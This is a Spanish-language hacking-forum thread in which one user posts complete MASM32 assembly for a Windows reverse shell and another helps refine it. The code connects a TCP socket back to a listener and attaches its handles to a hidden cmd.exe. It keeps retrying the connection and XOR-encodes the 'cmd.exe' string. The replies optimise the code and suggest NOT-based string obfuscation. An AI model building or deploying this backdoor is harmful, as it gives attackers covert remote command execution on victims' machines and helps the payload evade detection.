elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  ASM (Moderador: Eternal Idol)
| | | |-+  Remote Shell (Masm32)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Remote Shell (Masm32)  (Leído 4,500 veces)
Vaagish


Desconectado Desconectado

Mensajes: 875



Ver Perfil
Remote Shell (Masm32)
« en: 14 Mayo 2014, 21:37 pm »

Hola.. aporto con un codigo en masm.. no hay mucho que aclarar..

Código
  1. .386
  2. .model flat, stdcall
  3. option casemap:none
  4.  
  5. include windows.inc
  6. include kernel32.inc
  7. includelib kernel32.lib
  8. ; ----------------------
  9. include ws2_32.inc
  10. includelib ws2_32.lib
  11. ; ----------------------
  12.  
  13. .data?
  14. _Wsadata WSADATA <>
  15. _Sockaddrin sockaddr_in <>
  16. _Processinfo PROCESS_INFORMATION <>
  17. _StartupinfoA STARTUPINFOA <>
  18. .data
  19. _Comandline db "djc)bb", 0 ; -> cmd.exe xor 7
  20.  
  21. .code
  22. _Start:
  23.  
  24. ; SOCKET
  25. mov eax, 100007Fh ; -> 127.0.0.1
  26. mov _Sockaddrin.sin_port, 0b822h ; -> 8888
  27. mov _Sockaddrin.sin_addr, eax
  28. mov _Sockaddrin.sin_family, AF_INET
  29.  
  30. invoke WSAStartup, 202h, addr _Wsadata
  31. invoke WSASocket, AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0
  32.  
  33. ; SHELL
  34. mov _StartupinfoA.hStdInput,  eax
  35. mov _StartupinfoA.hStdOutput, eax
  36. mov _StartupinfoA.hStdError,  eax
  37. mov _StartupinfoA.wShowWindow, SW_HIDE
  38. mov _StartupinfoA.dwFlags, STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES
  39. mov _StartupinfoA.cb, sizeof _StartupinfoA
  40.  
  41. mov ebx, eax ; Guardo el Socket Handle
  42.  
  43. ; CONNECT
  44. _noconnect:
  45. invoke connect, ebx, addr _Sockaddrin, sizeof _Sockaddrin
  46. or eax, eax
  47. jnz _noconnect
  48.  
  49. ; DECRYPT
  50. xor ecx, ecx
  51. push offset _Comandline
  52. pop eax
  53. _nozero:
  54. cmp byte ptr ds:[eax + ecx], 0
  55. je _zero
  56. xor byte ptr ds:[eax + ecx], 7
  57. inc ecx
  58. jmp _nozero
  59. _zero:
  60.  
  61. invoke CreateProcessA, NULL, addr _Comandline, NULL, NULL, TRUE, 0, NULL, NULL, addr _StartupinfoA, addr _Processinfo
  62. invoke ExitProcess, 0
  63.  
  64. end _Start

Suerte!! Saludos!


En línea

xv0


Desconectado Desconectado

Mensajes: 1.027



Ver Perfil
Re: Remote Shell (Masm32)
« Respuesta #1 en: 14 Mayo 2014, 23:20 pm »

Doy por sentado de que no es una shellcode, ya que estas usando la sección .data.

Veo algunas cosas que se pueden mejorar, por ejemplo la estructura sockaddr_in, ya que estas usando .data por que no cargas directamente la estructura en ella?

Código
  1. section .data
  2.  
  3. _sockaddr_in:
  4.  
  5. sin_family: .word 0x0002
  6. sin_port:   .word 0xb822
  7. sin_addr:   .long 0x0100007f
  8. sin_zero:   .quad 0x0000000000000000

Solamente tendrias que copiar la direccion de _sockaddri_in, y no cargarla en el code. Pasa esas declaraciones a intel syntax.

Con la estructura STARTUPINFOA mas de lo mismo, solamente tendrias que cargar en la section code los descriptores "handles" xD, si ya sabes el tamaño de la estructura, el valor de SW_HIDE y el de STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES para que los cargas en el code?

Código
  1. push offset _Comandline
  2. pop eax

Por que haces eso? No es mejor cargar directamente el offset a eax, que subirlo al stack y luego bajarlo?

Y el loop para cmd.exe, lo encuentro una tonteria con todo mi respeto, si es una cosa simple como esa, cargala con not y luego en el code con 2 ya la tienes lista.

Un saludo.


En línea

Vaagish


Desconectado Desconectado

Mensajes: 875



Ver Perfil
Re: Remote Shell (Masm32)
« Respuesta #2 en: 15 Mayo 2014, 00:34 am »

Citar
Doy por sentado de que no es una shellcode, ya que estas usando la sección .data.
Verdad.. quería un código ejecutable, igual pasarlo a shellcode no es complicado.. ;)

Citar
Veo algunas cosas que se pueden mejorar, por ejemplo la estructura sockaddr_in, ya que estas usando .data por que no cargas directamente la estructura en ella?
No había logrado hacer eso.. pero luego de tu sugerencia conseguí hacer así:

Código
  1. _Sockaddrin:
  2. sin_family:
  3. word 0002h ; -> AF_INET
  4. sin_port:
  5. word 0b822h ; -> 8888
  6. sin_addr:
  7. dword 100007Fh ; -> 127.0.0.1
Código
  1. invoke connect, ebx, _Sockaddrin, 16

Pero tengo problemas con Startupinfo.. porque seria algo asi:

Código
  1. _StartupinfoA:
  2. hStdInput:
  3. dword eax
  4. hStdOutput:
  5. dword eax
  6. hStdError:
  7. dword eax

Donde eax contiene el handle que lo recibe de WSASocket (como bien decías en el comentario..) El asunto esta clarisimo, no se puede hacer eso de esa manera.. :S

Citar
push offset _Comandline
pop eax

Por que haces eso? No es mejor cargar directamente el offset a eax, que subirlo al stack y luego bajarlo?
Ha si, si.. totalmente.. eso quedo mal de una funcion que habia probado.. corregido seria:

Código
  1. mov eax, offset _Comandline

Citar
Y el loop para cmd.exe, lo encuentro una tonteria con todo mi respeto, si es una cosa simple como esa, cargala con not y luego en el code con 2 ya la tienes lista.
Not te entendi jaja el loop para conectar? o el del xor?
En línea

xv0


Desconectado Desconectado

Mensajes: 1.027



Ver Perfil
Re: Remote Shell (Masm32)
« Respuesta #3 en: 15 Mayo 2014, 00:54 am »

Pero tengo problemas con Startupinfo.. porque seria algo asi:

Código
  1. _StartupinfoA:
  2. hStdInput:
  3. dword eax
  4. hStdOutput:
  5. dword eax
  6. hStdError:
  7. dword eax

Donde eax contiene el handle que lo recibe de WSASocket (como bien decías en el comentario..) El asunto esta clarisimo, no se puede hacer eso de esa manera.. :S

Dios, claro que no puedes hacer eso. Si miras la estructura en la msdn te quedara todo mas claro, doy por sentado de que las secciones de esa estructura estan todas en 0, ya que no conozco como funciona esas estrucutra, lo que tienes que hacer es cargar el tamaño y el valor de SW_HIDE y el de STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES, los handles no puedes cargarlos directamente en la data ya que antes tienes que crearlos, eso es lo que tienes que mover a la estructura en la sección code.

Not te entendi jaja el loop para conectar? o el del xor?

Me refiero al xor, lo que te intento decir es que, la cadena cmd.exe si le sumas el 0 que es necesario, suman 8 bytes esos son 2 dword, lo que te estoy diciendo es que cargues la cadena "cmd.exe",0 "noteada" mirate la cadena en hexadecimal, lo unico que hace not es invertir los bits, es simplemente para maquillar la cadena sin hacer lo que tu haces.

Un saludo.
En línea

Vaagish


Desconectado Desconectado

Mensajes: 875



Ver Perfil
Re: Remote Shell (Masm32)
« Respuesta #4 en: 15 Mayo 2014, 01:55 am »

Ya viniste a complicarme la vida.. jajaja Na.. genial! Pero ahora que tiraste la piedra me das una mano.. jeje

Citar
"cmd.exe0" = 636D642E65786500 Hex

Ok.. hasta ahí todo bien.. entiendo el not, pero no puedo aplicárselo a un tipo tan largo me dice.. ¬¬

Y con lo de la estructura no caigo:

Código
  1. ;esto se hace asi, no queda otra..
  2. mov _StartupinfoA.hStdInput,  eax
  3. mov _StartupinfoA.hStdOutput, eax
  4. mov _StartupinfoA.hStdError,  eax
  5. ;Esto otro hacerlo en .data.. pero como carambanos¿?
  6. mov _StartupinfoA.wShowWindow, SW_HIDE
  7. mov _StartupinfoA.dwFlags, STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES
  8. mov _StartupinfoA.cb, sizeof _StartupinfoA

EDIT:
Código
  1. mov eax, 9C929BD1h
  2. not eax
  3. mov eax, 9A879AFFh
  4. not eax

Ahi esta "noteada" la cadena, le aplico el not para convertirla a "cmd.exe".. pero como la guardo/uso devuelta??

EDIT2:

Código
  1. mov eax, 0D19B929Ch
  2. not eax
  3. mov dword ptr ds:[NuevaLinea], eax
  4. mov eax, 0FF9A879Ah
  5. not eax
  6. mov dword ptr ds:[NuevaLinea + 4], eax

Bueno!!! Asi funciona.. pero.. es lo mas adecuado/Optimo?

Gracias man!! Me pusiste a pensar! Saludos!
« Última modificación: 15 Mayo 2014, 02:30 am por Vaagish » En línea

xv0


Desconectado Desconectado

Mensajes: 1.027



Ver Perfil
Re: Remote Shell (Masm32)
« Respuesta #5 en: 15 Mayo 2014, 02:31 am »

Código
  1. .section data
  2.  
  3. _cmd: .quad 0xff9a879ad19b929c
  4.  
  5. .section .text
  6. .globl _start
  7.  
  8. _start:
  9.  
  10. notl _cmd
  11. notl _cmd+4
  12. leal _cmd, %eax

Sobre la estructura, tienes que hacer lo mismo que sockaddr_in.

Código:
http://msdn.microsoft.com/en-us/library/windows/desktop/ms686331%28v=vs.85%29.aspx

Código
  1. .section .data
  2.  
  3. _StartupinfoA:
  4.  
  5. cb: .long 0x00000000    ; lo que estas poniendo con el mov, cargalo directamente aqui

Con dwFlag y wShowWindows lo mismo, solo que carga con ceros todo lo que no uses, por cierto te vuelvo a repetir, que no se si podras hacerlo con esta estructura, ya que veo cosas raras como eso de LPTSTR supongo que sera un puntero, pero no se si Windows rellena esa estructura automaticamente, no se si me explico, tu prueba y ya esta, en cosas como esta no puedo decirte mas, sockaddr_in es como en Unix.

Un saludo.
En línea

Vaagish


Desconectado Desconectado

Mensajes: 875



Ver Perfil
Re: Remote Shell (Masm32)
« Respuesta #6 en: 15 Mayo 2014, 22:41 pm »

Citar
notl _cmd
notl _cmd+4
leal _cmd, %eax

Puede que sea por mi ignorancia.. pero no se puede hacer eso en masm
por eso moví el dword a eax y le aplique el not, luego el segundo dword.

Con respecto a las estructuras, bueno.. la primera la conseguí, pero para ser sincero solo por probar (puede que en otra situación tenga que hacerlo así, si o si) pero convengamos que el código queda mas limpio usando las estructuras declaradas por el SO, y no se ahorra mucho en tamaño ni en instrucciones..

Igual esta bueno saber manejar estructuras con etiquetas.. para lo que yo pretendo hacer (cuando tenga mas claras las cosas) me va a venir impecable saber eso

Gracias!! Saludos!

CORRECION:

Pero si se puede hacer esto:

Código
  1. not dword ptr ds:[CLine]
  2. not dword ptr ds:[CLine + 4]
« Última modificación: 15 Mayo 2014, 22:47 pm por Vaagish » En línea

xv0


Desconectado Desconectado

Mensajes: 1.027



Ver Perfil
Re: Remote Shell (Masm32)
« Respuesta #7 en: 15 Mayo 2014, 22:55 pm »

Ya veo que lo corregiste, claro que puedes hacerlo, en GAS o Masm, la instruccion soporta los registros y memorias.

Y bueno sobre las estructuras cuando quieras.

Un saludo.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Como hacer un remote shell
Programación Visual Basic
skyweb07 5 2,159 Último mensaje 20 Septiembre 2008, 18:03 pm
por Spider-Net
Problema para conseguir remote shell
Hacking
Debci 5 6,532 Último mensaje 10 Enero 2010, 04:31 am
por R007h
[Tutorial]Troyanizando nc con visualbasic & obteniendo remote shell.- « 1 2 »
Hacking
MagoMagico 10 8,675 Último mensaje 20 Marzo 2010, 20:56 pm
por sirdarckcat
t3c4i3`s remote access shell v1.07
Redes
Paneru 2 3,999 Último mensaje 20 Julio 2010, 15:21 pm
por Paneru
REMOTE RDP
Dudas Generales
David.kn13 0 649 Último mensaje 5 Septiembre 2024, 15:44 pm
por David.kn13
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines